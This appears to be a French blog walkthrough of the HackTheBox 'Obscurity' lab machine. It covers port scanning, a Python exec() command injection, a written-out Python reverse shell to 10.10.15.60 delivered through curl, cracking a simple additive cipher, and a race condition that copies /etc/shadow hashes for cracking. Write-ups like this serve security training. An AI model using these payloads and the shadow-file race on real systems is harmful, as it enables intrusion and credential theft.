HackTheBox. Passage d'obscurité. Injection de commande du système d'exploitation et condition de concurrence

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox .

Dans cet article, nous exploitons une vulnérabilité dans le code python et effectuons également une attaque Race Condition.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.168, que j'ajoute à / etc / hosts.

10.10.10.168    obscurity.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A obscurity.htb -p22,8080

image

L'hôte exécute le service SSH et le serveur Web. Nous allons regarder le web.

image

Ainsi, nous avons:

  1. Serveur d'enregistrement
  2. Cryptage utilisé
  3. Le code du serveur dans le fichier SuperSecureServer.py dans un répertoire inconnu.

Puisque nous connaissons le nom du fichier, parcourons le répertoire. Faisons-le avec wfuzz. En paramètre, nous transmettons le dictionnaire, l'URL et le code de réponse à ignorer.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

image

Et nous trouvons ce répertoire. Téléchargeons le code du serveur.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Point d'accès


Nous ouvrons et analysons le serveur. Nous trouvons une utilisation potentiellement dangereuse de la fonction exec ().

image

Ajoutons quelques lignes au code.

image

Nous pouvons donc démarrer le serveur localement et voir ce qui entre dans la fonction exec (). Commençons le serveur et envoyons une demande.

curl http://127.0.0.1:33333/asd

image

curl "http://127.0.0.1:33333/asd'"

image

curl "http://127.0.0.1:33333/asd''"

image

Ainsi, nous avons l'injection de commande OS.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

image

Nous utiliserons le shell python inverse suivant.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Comme le code du serveur contient déjà l'importation des modules nécessaires, nous supprimons leur importation du shell. Nous évitons également les guillemets et les crochets.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

image

Bien! Tout fonctionne sur la machine locale. Exécutons cette requête sur le serveur.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

image

Nous avons un point d'entrée.

UTILISATEUR


Nous regardons autour du serveur et trouvons des fichiers lisibles dans le répertoire personnel de l'utilisateur.

image

Nous lisons des fichiers.

image

Ainsi, les fichiers sont cryptés. Téléchargez tout ce que l'on nous donne à l'hôte local. Comme indiqué dans le message, le fichier check.txt est chiffré et le résultat est out.txt. Voyons l'algorithme.

image

Ainsi, lors du cryptage, l'addition du symbole texte et du symbole clé modulo 255 se produit Lors du décryptage, ces symboles sont soustraits.

Autrement dit, ([check.txt] + [clé])% 255 = out.txt et ([out.txt] - [clé])% 255 = check.txt. Ensuite ([out.txt] - [check.txt])% 255 = clé.

image

image

Et regardez la clé.

image

Et maintenant, sur cette clé, nous déchiffrons le mot de passe de l'utilisateur.

image

Nous nous connectons via SSH avec ce mot de passe et prenons le drapeau d'utilisateur.

image

RACINE


Examinons les paramètres de sudo, à savoir si l'utilisateur robert peut exécuter des commandes sous sudo sans mot de passe.

image

Voyons le code. Le code nécessitera des données d'authentification. Il copie ensuite le contenu du fichier / etc / shadow dans le répertoire / tmp / SSH / *. Ensuite, il vérifiera les données d'authentification et supprimera le fichier.

image

image

Ainsi, nous devons réussir à copier le fichier depuis / tmp / SSH / * avant qu'il ne soit supprimé. Exécutez le deuxième terminal et exécutez-y un cycle de lecture sans fin.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Maintenant, exécutez le programme, entrez toutes les données et voyez les hachages.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

image

Et ils se cassent facilement.

image

Nous prenons le drapeau de la racine.

image

Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles